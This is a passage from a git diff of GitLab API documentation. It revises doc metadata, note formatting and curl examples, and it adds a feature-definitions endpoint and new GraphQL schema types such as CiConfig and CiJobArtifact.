-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Error Tracking settings API
diff --git a/doc/api/events.md b/doc/api/events.md
index e59630d1358..d073e7ed633 100644
--- a/doc/api/events.md
+++ b/doc/api/events.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Events
@@ -268,7 +268,7 @@ Example response:
## List a Project's visible events
-NOTE: **Note:**
+NOTE:
This endpoint has been around longer than the others. Documentation was formerly located in the [Projects API pages](projects.md).
Get a list of visible events for a particular project.
diff --git a/doc/api/experiments.md b/doc/api/experiments.md
index 7e2cad1070b..3c8efa35b78 100644
--- a/doc/api/experiments.md
+++ b/doc/api/experiments.md
@@ -1,7 +1,7 @@
---
stage: Growth
group: Expansion
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Experiments API
diff --git a/doc/api/feature_flag_specs.md b/doc/api/feature_flag_specs.md
index eaa6ea36c23..45db47f5ffe 100644
--- a/doc/api/feature_flag_specs.md
+++ b/doc/api/feature_flag_specs.md
@@ -1,14 +1,14 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Feature Flag Specs API **(PREMIUM)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.5.
-CAUTION: **Deprecation:**
+WARNING:
This API is deprecated and [scheduled for removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369).
The API for creating, updating, reading and deleting Feature Flag Specs.
diff --git a/doc/api/feature_flag_user_lists.md b/doc/api/feature_flag_user_lists.md
index 7cdfcb8d074..ba03b81ebfd 100644
--- a/doc/api/feature_flag_user_lists.md
+++ b/doc/api/feature_flag_user_lists.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Feature flag user lists API **(CORE)**
@@ -13,7 +13,7 @@ API for accessing GitLab Feature Flag User Lists.
Users with Developer or higher [permissions](../user/permissions.md) can access the Feature Flag User Lists API.
-NOTE: **Note:**
+NOTE:
`GET` requests return twenty results at a time because the API results
are [paginated](README.md#pagination). You can change this value.
diff --git a/doc/api/feature_flags.md b/doc/api/feature_flags.md
index fbda873f866..e8d6911463d 100644
--- a/doc/api/feature_flags.md
+++ b/doc/api/feature_flags.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Feature Flags API **(CORE)**
@@ -10,10 +10,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.5.
-NOTE: **Note:**
-This API is behind a [feature flag](../operations/feature_flags.md#enable-or-disable-feature-flag-strategies).
-If this flag is not enabled in your environment, you can use the [legacy feature flags API](feature_flags_legacy.md).
-
API for accessing resources of [GitLab Feature Flags](../operations/feature_flags.md).
Users with Developer or higher [permissions](../user/permissions.md) can access Feature Flag API.
@@ -107,7 +103,7 @@ GET /projects/:id/feature_flags/:feature_flag_name
| `feature_flag_name` | string | yes | The name of the feature flag. |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature"
```
Example response:
diff --git a/doc/api/feature_flags_legacy.md b/doc/api/feature_flags_legacy.md
index a7c139a02ba..8a5af39a37f 100644
--- a/doc/api/feature_flags_legacy.md
+++ b/doc/api/feature_flags_legacy.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Legacy Feature Flags API **(CORE)**
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.5.
-CAUTION: **Deprecation:**
+WARNING:
This API is deprecated and [scheduled for removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369). Use [this API](feature_flags.md) instead.
API for accessing resources of [GitLab Feature Flags](../operations/feature_flags.md).
@@ -36,7 +36,7 @@ GET /projects/:id/feature_flags
| `scope` | string | no | The condition of feature flags, one of: `enabled`, `disabled`. |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/projects/1/feature_flags
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flags"
```
Example response:
@@ -174,7 +174,7 @@ POST /projects/:id/feature_flags
| `scopes:strategies` | JSON | no | The [strategies](../operations/feature_flags.md#feature-flag-strategies) of the feature flag spec. |
```shell
-curl https://gitlab.example.com/api/v4/projects/1/feature_flags \
+curl "https://gitlab.example.com/api/v4/projects/1/feature_flags" \
--header "PRIVATE-TOKEN: <your_access_token>" \
--header "Content-type: application/json" \
--data @- << EOF
@@ -244,7 +244,7 @@ GET /projects/:id/feature_flags/:name
| `name` | string | yes | The name of the feature flag. |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace"
```
Example response:
@@ -320,5 +320,5 @@ DELETE /projects/:id/feature_flags/:name
| `name` | string | yes | The name of the feature flag. |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" --request DELETE https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature
+curl --header "PRIVATE-TOKEN: <your_access_token>" --request DELETE "https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature"
```
diff --git a/doc/api/features.md b/doc/api/features.md
index bbf86eca490..0582a4b9432 100644
--- a/doc/api/features.md
+++ b/doc/api/features.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Features flags API
@@ -37,7 +37,8 @@ Example response:
"key": "boolean",
"value": false
}
- ]
+ ],
+ "definition": null
},
{
"name": "my_user_feature",
@@ -47,7 +48,15 @@ Example response:
"key": "percentage_of_actors",
"value": 34
}
- ]
+ ],
+ "definition": {
+ "name": "my_user_feature",
+ "introduced_by_url": "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40880",
+ "rollout_issue_url": "https://gitlab.com/gitlab-org/gitlab/-/issues/244905",
+ "group": "group::ci",
+ "type": "development",
+ "default_enabled": false
+ }
},
{
"name": "new_library",
@@ -57,7 +66,45 @@ Example response:
"key": "boolean",
"value": true
}
- ]
+ ],
+ "definition": null
+ }
+]
+```
+
+## List all feature definitions
+
+Get a list of all feature definitions.
+
+```plaintext
+GET /features/definitions
+```
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/features/definitions"
+```
+
+Example response:
+
+```json
+[
+ {
+ "name": "api_kaminari_count_with_limit",
+ "introduced_by_url": "https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23931",
+ "rollout_issue_url": null,
+ "milestone": "11.8",
+ "type": "ops",
+ "group": "group::ecosystem",
+ "default_enabled": false
+ },
+ {
+ "name": "marginalia",
+ "introduced_by_url": null,
+ "rollout_issue_url": null,
+ "milestone": null,
+ "type": "ops",
+ "group": null,
+ "default_enabled": false
}
]
```
@@ -81,6 +128,7 @@ POST /features/:name
| `user` | string | no | A GitLab username |
| `group` | string | no | A GitLab group's path, for example `gitlab-org` |
| `project` | string | no | A projects path, for example `gitlab-org/gitlab-foss` |
+| `force` | boolean | no | Skip feature flag validation checks, ie. YAML definition |
Note that you can enable or disable a feature for a `feature_group`, a `user`,
a `group`, and a `project` in a single API call.
@@ -104,7 +152,15 @@ Example response:
"key": "percentage_of_time",
"value": 30
}
- ]
+ ],
+ "definition": {
+ "name": "my_user_feature",
+ "introduced_by_url": "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40880",
+ "rollout_issue_url": "https://gitlab.com/gitlab-org/gitlab/-/issues/244905",
+ "group": "group::ci",
+ "type": "development",
+ "default_enabled": false
+ }
}
```
@@ -133,7 +189,15 @@ Example response:
"key": "percentage_of_actors",
"value": 42
}
- ]
+ ],
+ "definition": {
+ "name": "my_user_feature",
+ "introduced_by_url": "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40880",
+ "rollout_issue_url": "https://gitlab.com/gitlab-org/gitlab/-/issues/244905",
+ "group": "group::ci",
+ "type": "development",
+ "default_enabled": false
+ }
}
```
diff --git a/doc/api/freeze_periods.md b/doc/api/freeze_periods.md
index 7a2f88e9f00..50f1fe9f12b 100644
--- a/doc/api/freeze_periods.md
+++ b/doc/api/freeze_periods.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
@@ -9,7 +9,7 @@ type: concepts, howto
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29382) in GitLab 13.0.
-You can use the Freeze Periods API to manipulate GitLab's [Freeze Period](../user/project/releases/index.md#prevent-unintentional-releases-by-setting-a-deploy-freeze) entries.
+You can use the Freeze Periods API to manipulate GitLab [Freeze Period](../user/project/releases/index.md#prevent-unintentional-releases-by-setting-a-deploy-freeze) entries.
## Permissions and security
@@ -101,7 +101,7 @@ Example request:
```shell
curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: <your_access_token>" \
--data '{ "freeze_start": "0 23 * * 5", "freeze_end": "0 7 * * 1", "cron_timezone": "UTC" }' \
- --request POST https://gitlab.example.com/api/v4/projects/19/freeze_periods
+ --request POST "https://gitlab.example.com/api/v4/projects/19/freeze_periods"
```
Example response:
@@ -138,7 +138,7 @@ Example request:
```shell
curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: <your_access_token>" \
--data '{ "freeze_end": "0 8 * * 1" }' \
- --request PUT https://gitlab.example.com/api/v4/projects/19/freeze_periods/1
+ --request PUT "https://gitlab.example.com/api/v4/projects/19/freeze_periods/1"
```
Example response:
diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md
index c9b86320a9f..280d02ced32 100644
--- a/doc/api/geo_nodes.md
+++ b/doc/api/geo_nodes.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Geo Nodes API **(PREMIUM ONLY)**
@@ -240,7 +240,7 @@ Example response:
Removes the Geo node.
-NOTE: **Note:**
+NOTE:
Only a Geo primary node will accept this request.
```plaintext
@@ -548,7 +548,8 @@ Example response:
}
```
-Note: The `health_status` parameter can only be in an "Healthy" or "Unhealthy" state, while the `health` parameter can be empty, "Healthy", or contain the actual error message.
+NOTE:
+The `health_status` parameter can only be in an "Healthy" or "Unhealthy" state, while the `health` parameter can be empty, "Healthy", or contain the actual error message.
## Retrieve project sync or verification failures that occurred on the current node
diff --git a/doc/api/graphql/audit_report.md b/doc/api/graphql/audit_report.md
index 12663654026..74ac8710160 100644
--- a/doc/api/graphql/audit_report.md
+++ b/doc/api/graphql/audit_report.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Set up an Audit Report with GraphQL
@@ -105,7 +105,7 @@ explorer. GraphiQL explorer is available for:
![GraphiQL explorer search for boards](img/user_query_example_v13_2.png)
-NOTE: **Note:**
+NOTE:
[The GraphQL API returns a GlobalID, rather than a standard ID.](getting_started.md#queries-and-mutations) It also expects a GlobalID as an input rather than
a single integer.
diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md
index 8501e76b5aa..ca2b7989700 100644
--- a/doc/api/graphql/getting_started.md
+++ b/doc/api/graphql/getting_started.md
@@ -1,12 +1,12 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Getting started with GitLab GraphQL API
-This guide demonstrates basic usage of GitLab's GraphQL API.
+This guide demonstrates basic usage of the GitLab GraphQL API.
See the [GraphQL API style guide](../../development/api_graphql_styleguide.md) for implementation details
aimed at developers who wish to work on developing the API itself.
@@ -29,7 +29,7 @@ Example:
```shell
GRAPHQL_TOKEN=<your-token>
-curl 'https://gitlab.com/api/graphql' --header "Authorization: Bearer $GRAPHQL_TOKEN" --header "Content-Type: application/json" --request POST --data "{\"query\": \"query {currentUser {name}}\"}"
+curl "https://gitlab.com/api/graphql" --header "Authorization: Bearer $GRAPHQL_TOKEN" --header "Content-Type: application/json" --request POST --data "{\"query\": \"query {currentUser {name}}\"}"
```
### GraphiQL
@@ -41,11 +41,11 @@ The examples below:
- Can be run directly against GitLab 11.0 or later, though some of the types and fields
may not be supported in older versions.
-- Will work against GitLab.com without any further setup. Make sure you are signed in and
+- Works against GitLab.com without any further setup. Make sure you are signed in and
navigate to the [GraphiQL Explorer](https://gitlab.com/-/graphql-explorer).
If you want to run the queries locally, or on a self-managed instance,
-you will need to either:
+you must either:
- Create the `gitlab-org` group with a project called `graphql-sandbox` under it. Create
several issues within the project.
@@ -53,7 +53,7 @@ several issues within the project.
Please refer to [running GraphiQL](index.md#graphiql) for more information.
-NOTE: **Note:**
+NOTE:
If you are running GitLab 11.0 to 12.0, enable the `graphql`
[feature flag](../features.md#set-or-create-a-feature).
@@ -64,12 +64,12 @@ The GitLab GraphQL API can be used to perform:
- Queries for data retrieval.
- [Mutations](#mutations) for creating, updating, and deleting data.
-NOTE: **Note:**
+NOTE:
In the GitLab GraphQL API, `id` refers to a
[Global ID](https://graphql.org/learn/global-object-identification/),
which is an object identifier in the format of `"gid://gitlab/Issue/123"`.
-[GitLab's GraphQL Schema](reference/index.md) outlines which objects and fields are
+[GitLab GraphQL Schema](reference/index.md) outlines which objects and fields are
available for clients to query and their corresponding data types.
Example: Get only the names of all the projects the currently logged in user can access (up to a limit, more on that later)
@@ -133,7 +133,7 @@ More about queries:
### Authorization
Authorization uses the same engine as the GitLab application (and GitLab.com). So if you've signed in to GitLab
-and use GraphiQL, all queries will be performed as you, the signed in user. For more information, see the
+and use GraphiQL, all queries are performed as you, the signed in user. For more information, see the
[GitLab API documentation](../README.md#authentication).
### Mutations
@@ -173,7 +173,7 @@ mutation {
```
Example: Add a comment to the issue (we're using the ID of the `GitLab.com` issue - but
-if you're using a local instance, you'll need to get the ID of an issue you can write to).
+if you're using a local instance, you must get the ID of an issue you can write to).
```graphql
mutation {
@@ -289,7 +289,7 @@ More about introspection:
## Sorting
-Some of GitLab's GraphQL endpoints allow you to specify how you'd like a collection of
+Some of the GitLab GraphQL endpoints allow you to specify how you'd like a collection of
objects to be sorted. You can only sort by what the schema allows you to.
Example: Issues can be sorted by creation date:
@@ -314,9 +314,9 @@ Pagination is a way of only asking for a subset of the records (say, the first 1
If we want more of them, we can make another request for the next 10 from the server
(in the form of something like "please give me the next 10 records").
-By default, GitLab's GraphQL API will return only the first 100 records of any collection.
+By default, the GitLab GraphQL API returns only the first 100 records of any collection.
This can be changed by using `first` or `last` arguments. Both arguments take a value,
-so `first: 10` will return the first 10 records, and `last: 10` the last 10 records.
+so `first: 10` returns the first 10 records, and `last: 10` the last 10 records.
Example: Retrieve only the first 2 issues (slicing). The `cursor` field gives us a position from which
we can retrieve further records relative to that one.
diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md
index 91917ea47a4..681130e82c1 100644
--- a/doc/api/graphql/index.md
+++ b/doc/api/graphql/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GraphQL API
@@ -16,7 +16,7 @@ For those new to the GitLab GraphQL API, see
### Quick Reference
-- GitLab's GraphQL API endpoint is located at `/api/graphql`.
+- The GitLab GraphQL API endpoint is located at `/api/graphql`.
- Get an [introduction to GraphQL from graphql.org](https://graphql.org/).
- GitLab supports a wide range of resources, listed in the [GraphQL API Reference](reference/index.md).
@@ -115,9 +115,9 @@ library GitLab uses on the backend.
## Reference
-GitLab's GraphQL reference [is available](reference/index.md).
+The GitLab GraphQL reference [is available](reference/index.md).
-It is automatically generated from GitLab's GraphQL schema and embedded in a Markdown file.
+It is automatically generated from the GitLab GraphQL schema and embedded in a Markdown file.
Machine-readable versions are also available:
diff --git a/doc/api/graphql/reference/gitlab_schema.graphql b/doc/api/graphql/reference/gitlab_schema.graphql
index 58f7d8ecdcf..d7ad70c808e 100644
--- a/doc/api/graphql/reference/gitlab_schema.graphql
+++ b/doc/api/graphql/reference/gitlab_schema.graphql
@@ -30,7 +30,7 @@ Autogenerated input type of AddAwardEmoji
"""
input AddAwardEmojiInput {
"""
- The global id of the awardable resource
+ The global ID of the awardable resource
"""
awardableId: AwardableID!
@@ -537,22 +537,22 @@ enum AlertManagementAlertSort {
"""
Created at ascending order
"""
- created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5")
+ created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5.")
"""
Created at descending order
"""
- created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5")
+ created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5.")
"""
Updated at ascending order
"""
- updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5")
+ updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5.")
"""
Updated at descending order
"""
- updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5")
+ updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5.")
}
"""
@@ -591,6 +591,21 @@ type AlertManagementAlertStatusCountsType {
}
"""
+Filters the alerts based on given domain
+"""
+enum AlertManagementDomainFilter {
+ """
+ Alerts for operations domain
+ """
+ operations
+
+ """
+ Alerts for threat monitoring domain
+ """
+ threat_monitoring
+}
+
+"""
An endpoint and credentials used to accept alerts for a project
"""
type AlertManagementHttpIntegration implements AlertManagementIntegration {
@@ -837,7 +852,7 @@ input AlertSetAssigneesInput {
clientMutationId: String
"""
- The iid of the alert to mutate
+ The IID of the alert to mutate
"""
iid: String!
@@ -892,7 +907,7 @@ input AlertTodoCreateInput {
clientMutationId: String
"""
- The iid of the alert to mutate
+ The IID of the alert to mutate
"""
iid: String!
@@ -933,6 +948,11 @@ type AlertTodoCreatePayload {
}
"""
+Identifier of Analytics::DevopsAdoption::Segment
+"""
+scalar AnalyticsDevopsAdoptionSegmentID
+
+"""
User availability status
"""
enum AvailabilityEnum {
@@ -987,7 +1007,7 @@ Autogenerated input type of AwardEmojiAdd
"""
input AwardEmojiAddInput {
"""
- The global id of the awardable resource
+ The global ID of the awardable resource
"""
awardableId: AwardableID!
@@ -1027,7 +1047,7 @@ Autogenerated input type of AwardEmojiRemove
"""
input AwardEmojiRemoveInput {
"""
- The global id of the awardable resource
+ The global ID of the awardable resource
"""
awardableId: AwardableID!
@@ -1067,7 +1087,7 @@ Autogenerated input type of AwardEmojiToggle
"""
input AwardEmojiToggleInput {
"""
- The global id of the awardable resource
+ The global ID of the awardable resource
"""
awardableId: AwardableID!
@@ -1225,12 +1245,12 @@ Represents a project or group board
"""
type Board {
"""
- The board assignee.
+ The board assignee
"""
assignee: User
"""
- Epics associated with board issues.
+ Epics associated with board issues
"""
epics(
"""
@@ -1260,12 +1280,12 @@ type Board {
): BoardEpicConnection
"""
- Whether or not backlog list is hidden.
+ Whether or not backlog list is hidden
"""
hideBacklogList: Boolean
"""
- Whether or not closed list is hidden.
+ Whether or not closed list is hidden
"""
hideClosedList: Boolean
@@ -1275,6 +1295,11 @@ type Board {
id: ID!
"""
+ The board iteration.
+ """
+ iteration: Iteration
+
+ """
Labels of the board
"""
labels(
@@ -1335,7 +1360,7 @@ type Board {
): BoardListConnection
"""
- The board milestone.
+ The board milestone
"""
milestone: Milestone
@@ -1345,7 +1370,7 @@ type Board {
name: String
"""
- Weight of the board.
+ Weight of the board
"""
weight: Int
}
@@ -1415,7 +1440,7 @@ type BoardEpic implements CurrentUserTodos & Noteable {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use timeframe.end
+ date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.
"""
endDate: Time
@@ -1430,7 +1455,7 @@ type BoardEpic implements CurrentUserTodos & Noteable {
iid: ID
"""
- Filter epics by iid for autocomplete
+ Filter epics by IID for autocomplete
"""
iidStartsWith: String
@@ -1471,8 +1496,8 @@ type BoardEpic implements CurrentUserTodos & Noteable {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use
- timeframe.start
+ date is provided, both must be present) Deprecated in 13.5: Use
+ timeframe.start.
"""
startDate: Time
@@ -2095,6 +2120,11 @@ input BoardListCreateInput {
clientMutationId: String
"""
+ Global ID of an existing iteration
+ """
+ iterationId: IterationID
+
+ """
Global ID of an existing label
"""
labelId: LabelID
@@ -2190,6 +2220,11 @@ type BoardListUpdateLimitMetricsPayload {
list: BoardList
}
+"""
+Identifier of Boards::EpicBoard
+"""
+scalar BoardsEpicBoardID
+
type Branch {
"""
Commit for the branch
@@ -2232,6 +2267,101 @@ type BurnupChartDailyTotals {
scopeWeight: Int!
}
+type CiConfig {
+ """
+ Linting errors
+ """
+ errors: [String!]
+
+ """
+ Merged CI config YAML
+ """
+ mergedYaml: String
+
+ """
+ Stages of the pipeline
+ """
+ stages: [CiConfigStage!]
+
+ """
+ Status of linting, can be either valid or invalid
+ """
+ status: CiConfigStatus
+}
+
+type CiConfigGroup {
+ """
+ Jobs in group
+ """
+ jobs: [CiConfigJob!]
+
+ """
+ Name of the job group
+ """
+ name: String
+
+ """
+ Size of the job group
+ """
+ size: Int
+}
+
+type CiConfigJob {
+ """
+ Name of the job group
+ """
+ groupName: String
+
+ """
+ Name of the job
+ """
+ name: String
+
+ """
+ Builds that must complete before the jobs run
+ """
+ needs: [CiConfigNeed!]
+
+ """
+ Name of the job stage
+ """
+ stage: String
+}
+
+type CiConfigNeed {
+ """
+ Name of the need
+ """
+ name: String
+}
+
+type CiConfigStage {
+ """
+ Groups of jobs for the stage
+ """
+ groups: [CiConfigGroup!]
+
+ """
+ Name of the stage
+ """
+ name: String
+}
+
+"""
+Values for YAML processor result
+"""
+enum CiConfigStatus {
+ """
+ The configuration file is not valid
+ """
+ INVALID
+
+ """
+ The configuration file is valid
+ """
+ VALID
+}
+
type CiGroup {
"""
Detailed status of the group
@@ -2311,6 +2441,31 @@ type CiGroupEdge {
type CiJob {
"""
+ Artifacts generated by the job
+ """
+ artifacts(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+ ): CiJobArtifactConnection
+
+ """
Detailed status of the job
"""
detailedStatus: DetailedStatus
@@ -2348,7 +2503,7 @@ type CiJob {
"""
Pipeline the job belongs to
"""
- pipeline: Pipeline!
+ pipeline: Pipeline
"""
Schedule for the build
@@ -2356,6 +2511,53 @@ type CiJob {
scheduledAt: Time
}
+type CiJobArtifact {
+ """
+ URL for downloading the artifact's file
+ """
+ downloadPath: String
+
+ """
+ File type of the artifact
+ """
+ fileType: JobArtifactFileType
+}
+
+"""
+The connection type for CiJobArtifact.
+"""
+type CiJobArtifactConnection {
+ """
+ A list of edges.
+ """
+ edges: [CiJobArtifactEdge]
+
+ """
+ A list of nodes.
+ """
+ nodes: [CiJobArtifact]
+
+ """
+ Information to aid in pagination.
+ """
+ pageInfo: PageInfo!
+}
+
+"""
+An edge in a connection.
+"""
+type CiJobArtifactEdge {
+ """
+ A cursor for use in pagination.
+ """
+ cursor: String!
+
+ """
+ The item at the end of the edge.
+ """
+ node: CiJobArtifact
+}
+
"""
The connection type for CiJob.
"""
@@ -2555,7 +2757,7 @@ input ClusterAgentDeleteInput {
clientMutationId: String
"""
- Global id of the cluster agent that will be deleted
+ Global ID of the cluster agent that will be deleted
"""
id: ClustersAgentID!
}
@@ -2899,6 +3101,11 @@ type Commit {
sha: String!
"""
+ Short SHA1 ID of the commit
+ """
+ shortId: String!
+
+ """
Rendered HTML of the commit signature
"""
signatureHtml: String
@@ -2992,6 +3199,26 @@ enum CommitActionMode {
}
"""
+The connection type for Commit.
+"""
+type CommitConnection {
+ """
+ A list of edges.
+ """
+ edges: [CommitEdge]
+
+ """
+ A list of nodes.
+ """
+ nodes: [Commit]
+
+ """
+ Information to aid in pagination.
+ """
+ pageInfo: PageInfo!
+}
+
+"""
Autogenerated input type of CommitCreate
"""
input CommitCreateInput {
@@ -3046,6 +3273,21 @@ type CommitCreatePayload {
errors: [String!]!
}
+"""
+An edge in a connection.
+"""
+type CommitEdge {
+ """
+ A cursor for use in pagination.
+ """
+ cursor: String!
+
+ """
+ The item at the end of the edge.
+ """
+ node: Commit
+}
+
enum CommitEncoding {
"""
Base64 encoding
@@ -3063,6 +3305,21 @@ Represents a ComplianceFramework associated with a Project
"""
type ComplianceFramework {
"""
+ Hexadecimal representation of compliance framework's label color
+ """
+ color: String!
+
+ """
+ Description of the compliance framework
+ """
+ description: String!
+
+ """
+ Compliance framework ID
+ """
+ id: ID!
+
+ """
Name of the compliance framework
"""
name: String!
@@ -3104,6 +3361,11 @@ type ComplianceFrameworkEdge {
}
"""
+Identifier of ComplianceManagement::Framework
+"""
+scalar ComplianceManagementFrameworkID
+
+"""
Autogenerated input type of ConfigureSast
"""
input ConfigureSastInput {
@@ -3324,6 +3586,11 @@ type ContainerRepository {
path: String!
"""
+ Project of the container registry
+ """
+ project: Project!
+
+ """
Status of the container repository.
"""
status: ContainerRepositoryStatus
@@ -3429,6 +3696,11 @@ type ContainerRepositoryDetails {
path: String!
"""
+ Project of the container registry
+ """
+ project: Project!
+
+ """
Status of the container repository.
"""
status: ContainerRepositoryStatus
@@ -3599,7 +3871,7 @@ input CreateAlertIssueInput {
clientMutationId: String
"""
- The iid of the alert to mutate
+ The IID of the alert to mutate
"""
iid: String!
@@ -3649,7 +3921,7 @@ input CreateAnnotationInput {
clientMutationId: String
"""
- The global id of the cluster to add an annotation to
+ The global ID of the cluster to add an annotation to
"""
clusterId: ClustersClusterID
@@ -3669,7 +3941,7 @@ input CreateAnnotationInput {
endingAt: Time
"""
- The global id of the environment to add an annotation to
+ The global ID of the environment to add an annotation to
"""
environmentId: EnvironmentID
@@ -3704,11 +3976,6 @@ Autogenerated input type of CreateBoard
"""
input CreateBoardInput {
"""
